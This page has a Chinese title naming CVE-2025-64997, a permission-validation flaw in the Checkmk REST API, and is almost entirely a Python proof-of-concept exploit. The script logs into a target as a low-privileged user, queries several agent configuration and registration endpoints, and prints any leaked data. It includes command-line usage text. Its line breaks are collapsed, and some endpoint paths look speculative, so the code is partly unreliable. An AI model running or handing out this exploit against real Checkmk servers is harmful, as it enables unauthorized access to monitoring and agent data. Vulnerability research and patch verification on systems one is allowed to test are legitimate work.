CVE-2025-64997 Checkmk权限验证不足导致REST API信息泄露

import requests import sys # CVE-2025-64997 PoC - Checkmk Insufficient Permission Validation # Target: Checkmk versions < 2.4.0p17 and < 2.3.0p42 def exploit_checkmk(target_url, username, password): """ Exploit insufficient permission validation in Checkmk REST API to retrieve agent information as low-privileged user. """ # Login to get session cookie login_url = f"{target_url}/check_mk/login.py" login_data = { 'username': username, 'password': password, '_login': '1' } session = requests.Session() login_response = session.post(login_url, data=login_data) if login_response.status_code != 200: print(f"[-] Login failed") return None print(f"[+] Logged in as {username}") # Request agent information via REST API # This should require higher privileges but doesn't due to the vulnerability api_endpoints = [ '/api/1.0.0/objects/agent/*', '/api/1.0.0/objects/agent/config', '/api/1.0.0/objects/agent/registration' ] for endpoint in api_endpoints: agent_url = f"{target_url}{endpoint}" response = session.get(agent_url) if response.status_code == 200: print(f"[+] Sensitive data leaked from {endpoint}") print(f"Response: {response.text[:500]}") return response.json() print("[-] No agent information accessible (possibly patched)") return None if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} https://checkmk.local lowprivuser password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_checkmk(target, user, pwd)